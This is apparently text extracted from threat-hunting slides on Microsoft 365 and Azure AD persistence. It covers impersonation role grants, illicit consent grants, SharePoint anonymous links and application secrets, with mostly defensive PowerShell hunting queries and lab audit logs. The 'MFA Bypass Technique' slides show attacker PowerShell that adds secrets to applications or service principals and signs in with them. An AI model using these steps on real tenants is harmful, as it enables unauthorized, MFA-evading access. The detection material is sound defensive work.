6 AuditData : {"CreationTime":"2022-05-19T04:24:29","Id":"1697f500-e5d1-455e-3aba-08da394f7783","Operation":"New-ManagementRoleAssignment","OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":1,"ResultStatus":"True","UserKey":"10032000C0A69155","UserType":2,"Version":1,"Workload":"Exchange","ClientIP":"151.192.155.153:61438","ObjectId":"threathunting.dev\\impersonationAssignmentName","UserId":"admin@threathunting.dev","AppId":"","ClientAppId":"","ExternalAccess":false,"OrganizationName":"threathunting.dev","OriginatingServer":"HK0PR01MB2786 (15.20.5250.018)".Parameters":{"Name":"Name","Value":"impersonationAssignmentName"}, {"Name":"Role","Value":"ApplicationImpersonation"}, {"Name":"User","Value":"Attacker"},"SessionId":"ca9ad7fd-053b-4620-af11-b2234685bf50"}
7
8
9
10
11
12
13
14 ResultIndex : 4
15 ResultCount : 4
16 Identity : 1697f500-e5d1-455e-3aba-08da394f7783
17 IsValid : True
18 ObjectState : Unchanged
```

New-ManagementRoleAssignment


"Value":"ApplicationImpersonation"}

"Value":"ApplicationImpersonation"}

Illicit Consent Grants

Consent Grants

- Consent is the process of user granting Authorizations to applications
- Service Principal registered in the tenant to allow application to access resources
- Types of Permissions
 - Application Permissions
 - Delegated Permissions
 - Effective Permissions



Permissions requested
Review for your organization

Malicious Application
unverified

This app may be risky. Only continue if you trust this app. [Learn more](#)

This app would like to:

- ✓ Read user mail
- ✓ Sign in and read user profile

If you accept, this app will get access to the specified resources for all users in your organization. No one else will be prompted to review these permissions.

Accepting these permissions means that you allow this app to use your data as specified in their terms of service and privacy statement. **The publisher has not provided links to their terms for you to review.** You can change these permissions at <https://myapps.microsoft.com>. [Show details](#)

Does this app look suspicious? [Report it here](#)

A threat actor can socially engineer a user in granting consent to their malicious application to access user data.

Eg.- https://login.microsoftonline.com/{tenant-id}/adminconsent?client_id={client-id}

Some of the Risky Permissions (Scopes)

Mail.Read	Domain.ReadWrite.All
Files.ReadWrite.All	RoleManagement.ReadWrite.Directory
Files.Read.All	User.ReadWrite.All
Sites.Read.All	AppRoleAssignment.ReadWrite.All
Mail.ReadWrite	DelegatedPermissionGrant.ReadWrite.All
ChatMessage.Read.All	PrivilegedAccess.ReadWrite.AzureAD
Sites.ReadWrite.All	PrivilegedAccess.ReadWrite.AzureADGroup
Notes.Read.All	PrivilegedAccess.ReadWrite.AzureResources
Chat.ReadWrite.All	ApprovalRequest.ReadWrite.PrivilegedAccess
Chat.Read.All	Policy.ReadWrite.ConditionalAccess
ChannelMessage.Read.All	UserAuthenticationMethod.ReadWrite.All
Notes.ReadWrite.All	Policy.ReadWrite.PermissionGrant
Sites.FullControl.All	Organization.ReadWrite.All
Calls.AccessMedia.All	DeviceManagementApps.ReadWrite.All
Application.ReadWrite.All	DeviceManagementConfiguration.ReadWrite.All
Directory.ReadWrite.All	DeviceManagementManagedDevices.ReadWrite.All

Hunting - List all Service principal and their OAuth permission Grants

Hunting Script

```
PS C:\> Get-AzureADServicePrincipal | ForEach-Object{
$spn = $_;
$objID = $spn.ObjectID;
$grants = Get-AzureADServicePrincipalOAuth2PermissionGrant -ObjectId
$objID;
foreach ($grant in $grants)
{
$user = Get-AzureADUser -ObjectId $grant.PrincipalId;
$OAuthGrant = New-Object PSObject;
$OAuthGrant | Add-Member Noteproperty 'ObjectID' $grant.objectId;
$OAuthGrant | Add-Member Noteproperty 'User' $user.UserPrincipalName;
$OAuthGrant | Add-Member Noteproperty 'AppDisplayName'
$spn.DisplayName;
$OAuthGrant | Add-Member Noteproperty 'AppPublisherName'
$spn.PublisherName;
$OAuthGrant | Add-Member Noteproperty 'AppReplyURLs' $spn.ReplyUrls;
$OAuthGrant | Add-Member Noteproperty 'GrantConsentType'
$grant.consentType;
$OAuthGrant | Add-Member Noteproperty 'GrantScopes' $grant.scope;
}
Write-Output $OAuthGrant
}
```

Output

```
ObjectID      : <Redacted>
User          : admin@threathunting.dev
AppDisplayName : Malicious
Application
AppPublisherName : ThreatActor
AppReplyURLs    : {https://login.microsoftonline.com/common/oauth2/nativeclient}
GrantConsentType : AllPrincipals
GrantScopes     : Mail.Read
```


Sequence of Events - Consent Grants

Consent Grants- Delegated Permissions

Date	↑↓	Service	Category	↑↓	Activity	↑↓	Status	Status reason	Target(s)
5/20/2022, 10:28:13 ...		Core Directory	ApplicationManage...		Consent to application		Success		Malicious Application
5/20/2022, 10:28:12 ...		Core Directory	ApplicationManage...		Add delegated permission grant		Success		Microsoft Graph, cd1...
5/20/2022, 10:28:12 ...		Core Directory	ApplicationManage...		Add service principal		Success		Malicious Application

Consent Grants- Application & Delegated Permissions

7/31/2022, 9:48:44 AM		Core Directory	ApplicationManage...		Consent to application		Success		Application-malicious
7/31/2022, 9:48:44 AM		Core Directory	UserManagement		Add app role assignment grant to user		Success		Application-maliciou...
7/31/2022, 9:48:44 AM		Core Directory	ApplicationManage...		Add delegated permission grant		Success		Microsoft Graph, 28...
7/31/2022, 9:48:43 AM		Core Directory	ApplicationManage...		Add app role assignment to service principal		Success		Microsoft Graph, 3cb...
7/31/2022, 9:48:43 AM		Core Directory	ApplicationManage...		Add app role assignment to service principal		Success		Microsoft Graph, 3cb...
7/31/2022, 9:48:43 AM		Core Directory	ApplicationManage...		Add service principal		Success		Application-malicious

Hunting – Consent to Application - UAL

```
PS C:\> Search-UnifiedAuditLog -operations 'Consent to application' -startdate 2022-05-18 -enddate 2022-05-20
```

```
1 RunspaceId : 7a68baad-216d-4520-a011-fec5ac6b8aec
2 RecordType : AzureActiveDirectory
3 CreationDate : 20/5/2022 2:06:03 am
4 UserIds : admin@threathunting.dev
5 Operations : Consent to application.
6 AuditData : {"CreationTime":"2022-05-20T02:06:03","Id":"ccc33bd2-b046-4670-adeb-a7e505fe09f7","Operation":"Consent
7 to application.","OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":8,"ResultStatus
8 ":"Success","UserKey":"10032000C0A69155@threathunting.dev","UserType":0,"Version":1,"Workload"
9 : "AzureActiveDirectory","ObjectId":"b58caf7b-24a0-4c5b-a2d2-9c504e1c2b34","UserId":"admin@threathu
10 nting.dev","AzureActiveDirectoryEventType":1,"ExtendedProperties":[{"Name":"additionalDetails
11 ","Value":{"User-Agent":"\EvoSTS","AppId":"b58caf7b-24a0-4c5b-a2d2-9c504e1c2b34"}},{"Name":"e
12 xtendedAuditEventCategory","Value":"ServicePrincipal"}],"ModifiedProperties":[{"Name":"ConsentContext.
13 IsAdminConsent","NewValue":"True","OldValue":""}, {"Name":"ConsentContext.IsAppOnly","NewValue":"False"
14 ,"OldValue":""}, {"Name":"ConsentContext.OnBehalfOfAll","NewValue":"True","OldValue":""}, {"Name":"Conse
15 ntContext.Tags","NewValue":"WindowsAzureActiveDirectoryIntegratedApp","OldValue":""}, {"Name":"ConsentA
16 ction.Permissions","NewValue": "[ ] => [[Id: AAAAAAAAAAAAAAAAAAAAMcj_KkA9oBGLr-gK5wRcuQ, ClientId:
17 00000000-0000-0000-0000-000000000000, PrincipalId: , ResourceId:
18 a9fca3c0-f600-4680-96bf-a02b9c1172e4, ConsentType: AllPrincipals, Scope: User.Read Mail.ReadWrite
19 Mail.Send, CreatedDateTime: , LastModifiedDateTime ]];
20 ","OldValue":"","Name":"ConsentAction.Reason","NewValue":"Risky application detected","OldValue":""}
21 , {"Name":"TargetId.ServicePrincipalNames","NewValue":"b58caf7b-24a0-4c5b-a2d2-9c504e1c2b34","OldValue"
22 : ""}], "Actor": [{"ID":"admin@threathunting.dev","Type":5}, {"ID":"10032000C0A69155","Type":
23 3}, {"ID":"User_ce4d1c72-c88d-44e4-becc-4c84cd26f778","Type":2}, {"ID":"ce4d1c72-c88d-44e4-becc-4c84cd26
24 f778","Type":2}, {"ID":"User","Type":2}], "ActorContextId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","Inter
25 SystemsId":"b3d51fdb-2d3a-4266-9b7a-b4986aa1cc1c","IntraSystemId":"7b18d572-405e-4747-b738-aa591c730f1
26 b","SupportTicketId":"","Target":[{"ID":"ServicePrincipal_ebb0f5c8-fb7f-494e-b956-fe5f1a3d9be5","Type"
27 :2}, {"ID":"ebb0f5c8-fb7f-494e-b956-fe5f1a3d9be5","Type":2}, {"ID":"ServicePrincipal","Type":2}, {"ID":"M
28 alicious App","Type":1}, {"ID":"b58caf7b-24a0-4c5b-a2d2-9c504e1c2b34","Type":2}, {"ID":"b58caf7b-24a0-4c
29 5b-a2d2-9c504e1c2b34","Type":4}], "TargetContextId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7"}
30 ResultIndex : 2
31 ResultCount : 3
32 Identity : ccc33bd2-b046-4670-adeb-a7e505fe09f7
33 IsValid : True
34 ObjectState : Unchanged
```

Operations : Consent to application.

Scope: User.Read Mail.ReadWrite

Scope: User.Read Mail.ReadWrite

Hunting - Add Delegated Permission Grant - UAL

```
PS C:\> Search-UnifiedAuditLog -operations 'Add delegated permission grant' -startdate 2022-03-19 -enddate 2022-05-21
```

```
1 RunspaceId : 7a68baad-216d-4520-a011-fec5ac6b8aec
2 RecordType : AzureAct
3 CreationDate : 20/5/2022
4 UserIds : admin@threathunting.dev
5 Operations : Add delegated permission grant.
6 AuditData : {"CreationTime":"2022-05-20T02:06:02","Id":"eb6b5adb-4722-492f-98c2-366422a0788d","Operation":"Add
7 delegated permission grant.","OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":8,"R
8 esultStatus":"Success","UserKey":"10032000C0A69155@threathunting.dev","UserType":0,"Version":1
9 ,"Workload":"AzureActiveDirectory","ObjectId":"https://canary.graph.microsoft.com/;https://graph.
10 microsoft.us/;https://dod-graph.microsoft.us/;00000003-0000-0000-c000-000000000000/ags.windows.ne
11 t;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.
12 com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://\d
13 od-graph.microsoft.us","UserId":"admin@threathunting.dev","AzureActiveDirectoryEventType"
14 :1,"ExtendedProperties":{"Name":"additionalDetails","Value":"{\\"User-Agent\\":\\"EvoSTS\\",\\"AppId\\":\\"0
15 0000003-0000-0000-c000-000000000000\\"},"Name":"extendedAuditEventCategory","Value":"ServicePrincipa
16 l"},"ModifiedProperties":{"Name":"DelegatedPermissionGrant.Scope","NewValue":"User.Read
17 Mail.ReadWrite Mail.Send","OldValue":""},"Name":"DelegatedPermissionGrant.ConsentType","NewValue":"Al
18 lPrincipals","OldValue":""},"Name":"ServicePrincipal.ObjectId","NewValue":"ebb0f5c8-fb7f-494e-b956-fe
19 5f1a3d9be5","OldValue":""},"Name":"ServicePrincipal.DisplayName","NewValue":"","OldValue":""},"Name"
20 :":"ServicePrincipal.AppId","NewValue":"","OldValue":""},"Name":"ServicePrincipal.Name","NewValue":"","
21 OldValue":""},"Name":"TargetId.ServicePrincipalNames","NewValue":"https://canary.graph.microsoft.co
22 m/;https://dod-graph.microsoft.us/;00000003-0000-0000-c000-00000000
23 00-0000-c000-000000000000;https://canary.graph.microsoft.com;https:
24 //graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsof
25 t.com/;https://dod-graph.microsoft.us","OldValue":""},"Actor":{"ID":"admin@threathunting
26 .dev","Type":5},"ID":"10032000C0A69155","Type":3},"ID":"User_ce4d1c72-c88d-44e4-becc-4c84cd26f7
27 78","Type":2},"ID":"ce4d1c72-c88d-44e4-becc-4c84cd26f778","Type":2},"ID":"User","Type":2},"ActorCon
28 textId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","InterSystemsId":"b3d51fdb-2d3a-4266-9b7a-b4986aa1cc1c"
29 ,"IntraSystemId":"7b18d572-405e-4747-b738-aa591c730f1b","SupportTicketId":"","Target":{"ID":"ServiceP
30 rincipal_a9fca3c0-f600-4680-96bf-a02b9c1172e4","Type":2},"ID":"a9fca3c0-f600-4680-96bf-a02b9c1172e4",
31 "Type":2},"ID":"ServicePrincipal","Type":2},"ID":"Microsoft Graph","Type":1},"ID":"00000003-0000-00
32 00-c000-000000000000","Type":2},"ID":"https://canary.graph.microsoft.com/;https://graph.microsof
33 t.us/;https://dod-graph.microsoft.us/;00000003-0000-0000-c000-000000000000/ags.windows.net;000000
34 03-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;htp
35 s://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph
36 .microsoft.us","Type":4},"TargetContextId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7"}
37 ResultIndex : 2
38 ResultCount : 3
39 Identity : eb6b5adb-4722-492f-98c2-366422a0788d
40 IsValid : True
41 ObjectState : Unchanged
```

Hunting – Add Service Principal - UAL

```
PS C:\> Search-UnifiedAuditLog -operations 'Add Service principal' -startdate 2022-03-19 -enddate 2022-05-21
```

```
1 RunspaceId : 7a68baad-216d-4520-a011-fec5ac6b8aac
2 RecordType : AzureActiveDirectory
3 CreationDate : 20/5/2022 2:28:12 am
4 UserIds : admin@threathunting.dev
5 Operations : Add service principal.
6 AuditData : {"CreationTime":"2022-05-20T02:28:12","Id":"b529995e-82ea-4a59-a279-c04b2a194399","Operation":"Add
7 service principal.", "OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":8,"ResultStat
8 us":"Success","UserKey":"10032000C0A69155@threathunting.dev","UserType":0,"Version":1,"Workloa
9 d":"AzureActiveDirectory","ObjectId":"66acff1b-04aa-44e6-88ba-d2ed20cc201e","UserId":"admin@thiru
10 2020.onmicrosoft.com","AzureActiveDirectoryEventType":1,"ExtendedProperties":{"Name":"additionalDetail
11 s","Value":{"User-Agent":"EvoSTS","AppId":"66acff1b-04aa-44e6-88ba-d2ed20cc201e"}}, {"Name":
12 "extendedAuditEventCategory","Value":"ServicePrincipal"},"ModifiedProperties":{"Name":"AccountEnable
13 d","NewValue":{"true"},"OldValue":{"false"}}, {"Name":"AppAddress","NewValue":{"http://localhost/auth-response"}, {"Name":
14 "AddressType":0,"Address":"http://localhost/auth-response"}, {"Name":
15 "ReplyAddressClientType":1,"ReplyAddressIndex":null,"IsReplyAddressDefault":
16 false},"OldValue":{"false"}}, {"Name":"AppPrincipalId","NewValue":{"66acff1b-04aa-44e6-8
17 8ba-d2ed20cc201e"},"OldValue":{"66acff1b-04aa-44e6-88ba-d2ed20cc201e"}}, {"Name":"Display
18 Name","NewValue":{"Malicious
19 Application"},"OldValue":{"Application"}}, {"Name":"ServicePrincipalName","NewValue":{"66acff1b-04aa
20 -44e6-88ba-d2ed20cc201e"},"OldValue":{"66acff1b-04aa-44e6-88ba-d2ed20cc201e"}}, {"Name":"Credentia
21 l","NewValue":{"CredentialType":2,"KeyStoreId":"291154f0-a9f5-45bb-87be-9c8ee5b6d62c"}, {"Name":
22 "KeyGroupId":"291154f0-a9f5-45bb-87be-9c8ee5b6d62c"},"OldValue":{"CredentialType":2,"KeyStoreId":
23 "291154f0-a9f5-45bb-87be-9c8ee5b6d62c"},"NewValue":{"AccountEnabled,
24 AppAddress, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"},"OldValue":{"AccountEnabled,
25 AppAddress, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"},"Actor":
26 [{"ID":"admin@threathunting.dev","Type":5}, {"ID":"10032000C0A69155","Type":3}, {"ID":"Use
27 r_ce4d1c72-c88d-44e4-becc-4c84cd26f778","Type":2}, {"ID":"ce4d1c72-c88d-44e4-becc-4c84cd26f778","Type":
28 2}, {"ID":"User","Type":2}], "ActorContextId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","InterSystemsId":"e
29 1432226-9dcc-4b50-bc18-4a1bf7d29602","IntraSystemId":"0599d1cd-8547-4929-a9c0-5e0f176d86c2","SupportTi
30 cketId":"","Target":{"ID":"ServicePrincipal_cd1e2493-3923-46c0-bb2a-17bdf1f2a011","Type":2}, {"ID":"cd
31 1e2493-3923-46c0-bb2a-17bdf1f2a011","Type":2}, {"ID":"ServicePrincipal","Type":2}, {"ID":"Malicious Appl
32 ication","Type":1}, {"ID":"66acff1b-04aa-44e6-88ba-d2ed20cc201e","Type":2}, {"ID":"66acff1b-04aa-44e6-88
33 ba-d2ed20cc201e","Type":4}]
34 ResultIndex : 1
35 ResultCount : 5
36 Identity : b529995e-82ea-4a59-a279-c04b2a194399
37 IsValid : True
38 ObjectState : Unchanged
```

Hunting – Add App Role Assignment to Service Principal - UAL

```
PS C:\> Search-UnifiedAuditLog -operations 'Add app role assignment to service principal' -  
startdate 2022-03-19 -enddate 2022-07-31
```

```
1 RunspaceId : 908971f4-5769-4e1b-a19e-22bc6575f988  
2 RecordType : Az  
3 CreationDate : 30 Operations : Add app role assignment to service principal.  
4 UserIds : admin@threathunting.dev  
5 Operations : Add app role assignment to service principal.  
6 AuditData : {"CreationTime":"2022-07-30T15:28:06","Id":"056db52c-5cff-4d1b-85c9-207dcf3f596c","Operation":"Add  
7 app role assignment to service principal.", "OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7", "Re  
8 cordType":8, "ResultStatus":"Success", "UserKey":"10032000C0A69155@threathunting.dev", "UserType"  
9 :0, "Version":1, "Workload":"AzureActiveDirectory", "ObjectId":"https://canary.graph.microsoft.com/ht  
10 tps://graph.microsoft.us/;https://dod-graph.microsoft.us/;00000003-0000-0000-c000-000000000000/  
11 ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://gr  
12 aph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com  
13 /;https://dod-graph.microsoft.us", "UserId":"admin@threathunting.dev", "AzureActiveDirec  
14 toryEventType":1, "ExtendedProperties":[{"Name":"additionalDetails", "Value":"{\"User-Agent\":\"EvoSTS\  
15 \", \"AppId\":\"00000003-0000-0000-c000-000000000000\"}"], {"Name":"extendedAuditEventCategory", "Value":"S  
16 ervicePrincipal"}], "ModifiedProperties":[{"Name":"AppRole.Id", "NewValue":"e2a3a72e-5f79-4c64-b1b1-878b  
17 674786c9", "OldValue":""}, {"Name":"AppRole.Value", "NewValue":"Mail.ReadWrite", "OldValue":""}, {"Name":"A  
18 ppRole.DisplayName", "NewValue":"Read and write mail in all  
19 mailboxes", "OldValue":""}, {"Name":"AppRoleAssignment.CreatedDateTime", "NewValue":"7/30/2022 3:28:06  
20 PM", "OldValue":""}, {"Name":"AppRoleAssignment.LastModifiedDateTime", "NewValue":"7/30/2022 3:28:06 PM"},  
21 { "Name": "AppRole.Value", "NewValue": "Mail.ReadWrite", "OldValue": "" }  
22  
23 : "ServicePrincipal.AppId", "NewValue":"adb219be-a6e4-4194-ab0c-2a0582e97471", "OldValue":""}, {"Name":"Se  
24 rvicePrincipal.Name", "NewValue":"adb219be-a6e4-4194-ab0c-2a0582e97471", "OldValue":""}, {"Name":"TargetI  
25 d.ServicePrincipalNames", "NewValue":"https://canary.graph.microsoft.com/;https://graph.microsoft.  
26 us/;https://dod-graph.microsoft.us/;00000003-0000-0000-c000-000000000000/ags.windows.net;00000003  
27 -0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https:  
28 //ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.m  
29 icrosoft.us", "OldValue":""}, {"Name":"Actor", "ID":"admin@threathunting.dev", "Type":5}, {"ID":"10  
30 032000C0A69155", "Type":3}, {"ID":"User_ce4d1c72-c88d-44e4-becc-4c84cd26f778", "Type":2}, {"ID":"ce4d1c72-
```

Abusing SharePoint online

SharePoint Online – External Sharing

- SharePoint is a Web-based application used for collaboration and information exchange across an organization
- External sharing features let users share content with users outside the organization
- Most Permissive external sharing settings will allow any external users to access the shared link without require to sign-in

The screenshot displays the 'External sharing' settings in SharePoint. A vertical slider on the left indicates the level of permissiveness, ranging from 'Most permissive' at the top to 'Least permissive' at the bottom. The 'Anyone' option is selected, which is highlighted with a red box. This option allows users to share files and folders using links that do not require sign-in. Other options include 'New and existing guests' (requiring sign-in or verification), 'Existing guests' (requiring directory membership), and 'Only people in your organization' (no external sharing).

External sharing

Content can be shared

SharePoint OneDrive

Anyone
Users can share files and folders using links that don't require sign-in.

Anyone
Users can share files and folders using links that don't require sign-in.



New and existing guests
Guests must sign in or provide a verification code.

Existing guests
Only guests already in your organization's directory.

Only people in your organization
No external sharing allowed.

Abusing SharePoint Online – Persistent Access to the File/Folder

- After gaining privileges, Threat Actors can enable most permissive external settings and create anonymous share links for files/folders for persistence access
- Files/folders can be shared via an anonymous link where anyone with the link can view or edit the document and maintain access to the file/folders



Hunting – SharePoint External Sharing Settings - Configuration

List and review sharing settings configured in the SharePoint tenant

```
PS C:\> Get-SPOTenant | select-object SharingCapability  
  
SharingCapability  
-----  
ExternalUserAndGuestSharing
```

List all the anonymous Links created in the tenant by running "Anyone Links" report in SharePoint Admin portal

Sharing links

Use these reports to review SharePoint sites where users created the most sharing links for files and folders in the last 30 days. To get the latest data for a report, you must run it, which can take a few hours. [Learn more about these reports](#)

▶ Run all [Refresh status](#)

<input type="checkbox"/> Report name	Status	Description
<input type="checkbox"/> "Anyone" links	<input type="checkbox"/> "Anyone" links	Sites where the most links were created that dont require sign-in.

Hunting – SharePoint External Sharing Settings - UAL

```
$logs = Search-UnifiedAuditLog -recordtype Sharepoint -operations SharingPolicyChanged -startdate 2022-07-30 -  
enddate 2022-08-01  
ForEach ($record in $logs){  
    $AuditData = $record.AuditData | ConvertFrom-Json  
    if ( $AuditData.ModifiedProperties | Where-Object {($_.NewValue -eq 'ExtranetWithShareByLink')}}  
    {$record}}
```

```
1 RunspaceId : 6466efb0-f89a-477d-9dd4-24aada11275c  
2 RecordType : SharePoint  
3 CreationDate : 31/7/2022 4:37:24 am  
4 UserIds : admin@threathunting.dev  
5 Operations : SharingPolicyChanged  
6 AuditData : {"AppAccessContext":{"AADSessionId":"b9cf0ba6-a0ea-4300-a914-3e3c45be1dba","CorrelationId":"834b56a0-0  
7 0f7-1000-75c0-eef706ecc9ad","UniqueTokenId":"no5cqjT6mESqujr4q_MrAA"},"CreationTime":"2022-07-31T04:37  
8 :24","Id":"b2ee8751-c7a1-4582-a21e-08da72ae5d37","Operation":"SharingPolicyChanged","OrganizationId":"  
9 3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":4,"UserKey":"i:0h.f|membership|10032000c0a69155@liv  
10 e.com","UserType":0,"Version":1,"Workload":"SharePoint","ClientIP":"151.192.155.237","ObjectId":"","Us  
11 erId":"admin@threathunting.dev","CorrelationId":"834b56a0-00f7-1000-75c0-eef706ecc9ad","E  
12 ventSource":"SharePoint","ItemType":"Tenant","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
13 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0  
14 Safari/537.36". "ModifiedProperties": [{"Name": "personal CollabType  
15 setting", "NewValue": "ExtranetWithShareByLink", "OldValue": "ExtranetWithExistingShareByEmailUserOnly"}]}  
16 ResultIndex : 3  
17 ResultCount : 26  
18 Identity : b2ee8751-c7a1-4582-a21e-08da72ae5d37, "NewValue": "ExtranetWithShareByLink"  
19 IsValid : True  
20 ObjectState : Unchanged
```

Hunting – Anonymous Link Created/Updated - UAL

```
PS C:\> Search-UnifiedAuditLog -recordtype SharePointSharingOperation -operations  
'anonymouslinkcreated,anonymouslinkupdated' -startdate 2022-07-30 -enddate 2022-08-01
```

```
1 RunspaceId : 6466efb0-f89a-477d-9dd4-24aada11275c  
2 RecordType : SharePointSharingOperation  
3 CreationDate : 31/7/2022 2:29:23 am  
4 UserIds : admin@threathunting.dev  
5 Operations : AnonymousLinkCreated  
6 AuditData : {"AppAccessContext":{"AADSessionId":"a4cdc6bf-d929-4954-8e51-04ce9850de90","CorrelationId":"304456a0-d  
7 0a8-1000-6c93-5d4262bc86ad","UniqueTokenId":"bTz0PDAwhU-cs57fmIIwAA"},"CreationTime":"2022-07-31T02:29  
8 :23","Id":"730158b2-3545-4057-976f-08da729c7b88","Operation":"AnonymousLinkCreated","OrganizationId":"  
9 3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":14,"UserKey":"i:0h.f|membership|10032000c0a69155@li  
10 ve.com","UserType":0,"Version":1,"Workload":"SharePoint","ClientIP":"151.192.155.237","ObjectId":"http  
11 s:\\\\threathunting.sharepoint.com\\Shared Documents\\Document.docx","UserId":"admin@threathunting.dev",  
12 "CorrelationId":"304456a0-d0a8-1000-6c93-5d4262bc86ad","EventSource":"SharePoint","ItemType  
13 s:\\\\threathunting.sharepoint.com\\Shared Documents\\Document.docx"  
14 10.0, win04, x04) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 ; webid : 0  
15 78195ae-ed84-4aab-855a-80f9f2a7cac8","EventData":"<Type>Edit</Type><MembersCanShareApplied>False</Me  
16 mbersCanShareApplied>","SourceFileExtension":"docx","UniqueSharingId":"e30a2e62-55dc-43e0-b8e0-c3583e8  
17 aa0c0","SiteUrl":"https:\\\\threathunting.sharepoint.com","SourceFileName":"Document.docx","SourceRelative  
18 Url":"Shared Documents\\Document.docx"}  
19  
20 ResultIndex : 12  
21 ResultCount : 12  
22 Identity : 730158b2-3545-4057-976f-08da729c7b88  
23 IsValid : True  
24 ObjectState : Unchanged
```

Hunting – Anonymous Link Usage - UAL

```
PS C:\> Search-UnifiedAuditLog -recordtype SharePointSharingOperation -operations  
'AnonymousLinkUsed' -startdate 2022-07-30 -enddate 2022-08-01
```

```
1 RunspaceId : 6466efb0-f89a-477d-9dd4-24aada11275c  
2 RecordType : SharePointSharingOperation  
3 CreationDate : 31/7/2022 2:29:29 am  
4 UserIds : anonvmous  
5 Operations : AnonymousLinkUsed  
6 AuditData : {"AppAccessContext":{"CorrelationId":"324456a0-7020-1000-8850-c1911b7d1b0a"},"CreationTime":"2022-07-3  
7 1T02:29:29","Id":"db9e43f5-8f7a-425c-8b7c-08da729c7e8e","Operation":"AnonymousLinkUsed","OrganizationI  
8 d":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":14,"UserKey":"anonymous","UserType":0,"Version"  
9 :1,"Workload":"SharePoint","ClientIP":"111.0.0.117","ObjectId":"https://threathunting.sharepoint.com\  
10 /Shared Documents/Document.docx","UserId":"anonymous","CorrelationId":"324456a0-7020-1000-8850-c1911b  
11 7d1b0a","EventSource":"SharePoint","ItemType":"File","ListId":"99fc028c-725d-4c8d-bdf0-fd7b9418dd8d","  
12 ListItemUniqueId":"e5146d02-0f17-4bc6-bdd3-df7cd953107d","Site":"d4b2f07d-9402-4d01-81df-2d206a472f0e"  
13 ,"UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)  
14 Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.71","WebId":"b78195ae-ed84-4aab-855a-80f9f2a7cac  
15 8","SourceFileExtension":"docx","SiteUrl":"https://threathunting.sharepoint.com","SourceFileName":"Docum
```

Operations : AnonymousLinkUsed



'ClientIP':"111.0.0.117", "ObjectId":"https://threathunting.sharepoint.com\

```
19 Identity : db9e43f5-8f7a-425c-8b7c-08da729c7e8e  
20 IsValid : True  
21 ObjectState : Unchanged  
22
```

Maintain Persistent Access to M365 Applications

Abusing Azure Applications for Persistence

- An Azure application is used to provide functionality to users
- Azure Applications can have access to M365 Applications
- Threat Actors can add secret to application to maintain access bypassing MFA



MFA Bypass Technique - Applications or Service Principals & Secrets

1

Adding Secrets to Application in Azure AD

(-OR)

```
PS> Connect-AzureAD;  
  $startDate = Get-Date;  
  $endDate = $startDate.AddYears(3);  
  $aadAppsecret = New-  
  AzureADApplicationPasswordCredential -  
  ObjectId <ObjectId> -CustomKeyIdentifier Secret01 -  
  StartDate $startDate -EndDate $endDate  
  $aadAppsecret.Value= <ClearTextSecret>
```

Adding Secrets to Service Principal in Azure AD

```
PS> Connect-AzAccount -Tenant <tenantID>  
  $newCredential = New-AzADSpCredential -  
  ServicePrincipalName <ApplicationID>  
  $BSTR  
  = [System.Runtime.InteropServices.Marshal]::SecureString  
  gToBSTR($newcredential.Secret)  
  $ClearSecret ==  
  [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
```

MFA Bypass Technique - Applications or Service Principals & Secrets

2

Threat Actor access the tenant using the Service Principal and Secret configured

```
PS> $passwd = ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential (<Application ID>, $passwd)
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant <Tenant ID>
```

Account	SubscriptionName	TenantId	Environment
-----	-----	-----	-----
<Redacted>		<Redacted>	AzureCloud

Hunting - Service Principals with secrets - Configurations

List and review All Service Principals configured with Secret

```
PS>$Spns = Get-AzureADServicePrincipal -All $true
foreach ($Spn in $Spns) {
    if ($Spn.PasswordCredentials.Count -ne 0 -or $Spn.KeyCredentials.Count -
ne 0) {
        Write-Host 'Application Display Name::'$Spn.DisplayName
        Write-Host 'Application Password Count::' $Spn.PasswordCredentials.Count
        Write-Host 'Application Key Count::' $Spn.KeyCredentials.Count
        Write-Host ''
    } }
}
```

Hunting - Applications with secrets - Configurations

Listing All Applications configured with Secret

```
PS>$Apps = Get-AzureAD Application -All $True
foreach ($App in $Apps) {
  if ($App.PasswordCredentials.Count -ne 0 -or
$App.KeyCredentials.Count -ne 0)
  {
    Write-Host 'Application Display Name::'$App.DisplayName
    Write-Host 'Application Password Count::'
$App.PasswordCredentials.Count
    Write-Host 'Application Key Count::' $App.KeyCredentials.Count
    Write-Host ''
  } }

```

Hunting Secret assignment operations in UAL


```
